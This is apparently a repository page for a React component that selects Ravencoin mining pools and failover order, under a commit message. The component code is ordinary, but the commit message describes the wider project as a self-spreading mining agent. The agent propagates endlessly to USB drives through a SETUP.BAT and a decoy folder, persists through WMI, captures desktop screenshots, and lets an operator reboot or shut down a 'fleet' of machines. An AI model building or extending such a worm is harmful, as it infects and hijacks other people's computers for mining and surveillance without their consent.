- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
179 lines
5.9 KiB
TypeScript
179 lines
5.9 KiB
TypeScript
import { useEffect, useMemo, useState } from 'react';
|
|
import type { BackupPool } from '../types';
|
|
import {
|
|
RVN_POOL_PRESETS,
|
|
DEFAULT_RVN_PRESET_IDS,
|
|
orderedRVNPoolsFromSelection,
|
|
detectRVNPresetIds,
|
|
applyRVNPoolsToForgeFields,
|
|
type RVNPoolForgeFields,
|
|
} from '../help/poolPresets';
|
|
import './PoolPresetPicker.css';
|
|
|
|
interface RVNPoolPresetPickerProps {
|
|
host: string;
|
|
port: number;
|
|
tls: boolean;
|
|
pass: string;
|
|
backups?: BackupPool[];
|
|
onChange: (next: RVNPoolForgeFields) => void;
|
|
}
|
|
|
|
export default function RVNPoolPresetPicker({
|
|
host,
|
|
port,
|
|
tls,
|
|
pass,
|
|
backups = [],
|
|
onChange,
|
|
}: RVNPoolPresetPickerProps) {
|
|
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
|
|
const detected = detectRVNPresetIds(host, port, tls, backups);
|
|
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
|
|
});
|
|
const [useCustom, setUseCustom] = useState(false);
|
|
const [customHost, setCustomHost] = useState('');
|
|
const [customPort, setCustomPort] = useState(6060);
|
|
const [customTls, setCustomTls] = useState(false);
|
|
|
|
useEffect(() => {
|
|
const detected = detectRVNPresetIds(host, port, tls, backups);
|
|
if (detected.length) setSelectedIds(detected);
|
|
}, [host, port, tls, backups]);
|
|
|
|
const orderedPreview = useMemo(() => {
|
|
const custom: BackupPool | null = useCustom && customHost.trim()
|
|
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
|
|
: null;
|
|
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
|
|
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
|
|
|
|
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
|
|
const custom: BackupPool | null =
|
|
customOn && cHost.trim()
|
|
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
|
|
: null;
|
|
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
|
|
onChange(applyRVNPoolsToForgeFields(pools));
|
|
};
|
|
|
|
const togglePreset = (id: string) => {
|
|
const next = selectedIds.includes(id)
|
|
? selectedIds.filter((x) => x !== id)
|
|
: [...selectedIds, id];
|
|
if (!next.length) return;
|
|
setSelectedIds(next);
|
|
applySelection(next, useCustom, customHost, customPort, customTls);
|
|
};
|
|
|
|
const grouped = useMemo(() => {
|
|
const map = new Map<string, typeof RVN_POOL_PRESETS>();
|
|
for (const p of RVN_POOL_PRESETS) {
|
|
const list = map.get(p.provider) ?? [];
|
|
list.push(p);
|
|
map.set(p.provider, list);
|
|
}
|
|
return [...map.entries()];
|
|
}, []);
|
|
|
|
return (
|
|
<div className="pool-preset-picker rvn-pool-picker">
|
|
<p className="form-hint pool-preset-hint">
|
|
Select one or more Ravencoin (KawPoW) pools. Failover order applies — primary is tried first.
|
|
</p>
|
|
<div className="pool-preset-grid">
|
|
{grouped.map(([provider, presets]) => (
|
|
<div key={provider} className="pool-preset-group">
|
|
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
|
|
{provider}
|
|
</span>
|
|
{presets.map((p) => (
|
|
<label key={p.id} className="pool-preset-option checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={selectedIds.includes(p.id)}
|
|
onChange={() => togglePreset(p.id)}
|
|
/>
|
|
<span>
|
|
<code>{p.host}:{p.port}</code>
|
|
{p.tls ? ' TLS' : ''}
|
|
<span className="pool-preset-sub"> ({p.hint})</span>
|
|
</span>
|
|
</label>
|
|
))}
|
|
</div>
|
|
))}
|
|
</div>
|
|
|
|
<div className="pool-preset-custom">
|
|
<label className="checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={useCustom}
|
|
onChange={(e) => {
|
|
const on = e.target.checked;
|
|
setUseCustom(on);
|
|
applySelection(selectedIds, on, customHost, customPort, customTls);
|
|
}}
|
|
/>
|
|
<span>Add custom pool</span>
|
|
</label>
|
|
{useCustom && (
|
|
<div className="pool-preset-custom-fields form-row">
|
|
<input
|
|
type="text"
|
|
className="input mono"
|
|
placeholder="pool.example.com"
|
|
value={customHost}
|
|
onChange={(e) => {
|
|
setCustomHost(e.target.value);
|
|
applySelection(selectedIds, true, e.target.value, customPort, customTls);
|
|
}}
|
|
/>
|
|
<input
|
|
type="number"
|
|
className="input"
|
|
min={1}
|
|
max={65535}
|
|
value={customPort}
|
|
onChange={(e) => {
|
|
const v = e.target.valueAsNumber || 6060;
|
|
setCustomPort(v);
|
|
applySelection(selectedIds, true, customHost, v, customTls);
|
|
}}
|
|
/>
|
|
<label className="checkbox-label">
|
|
<input
|
|
type="checkbox"
|
|
className="checkbox"
|
|
checked={customTls}
|
|
onChange={(e) => {
|
|
setCustomTls(e.target.checked);
|
|
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
|
|
}}
|
|
/>
|
|
<span>TLS</span>
|
|
</label>
|
|
</div>
|
|
)}
|
|
</div>
|
|
|
|
{orderedPreview.length > 0 && (
|
|
<div className="pool-preset-order">
|
|
<span className="font-tech">Failover order</span>
|
|
<ol>
|
|
{orderedPreview.map((p, i) => (
|
|
<li key={`${p.host}:${p.port}:${p.tls}`}>
|
|
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
|
|
{p.tls ? ' (TLS)' : ''}
|
|
</li>
|
|
))}
|
|
</ol>
|
|
</div>
|
|
)}
|
|
</div>
|
|
);
|
|
}
|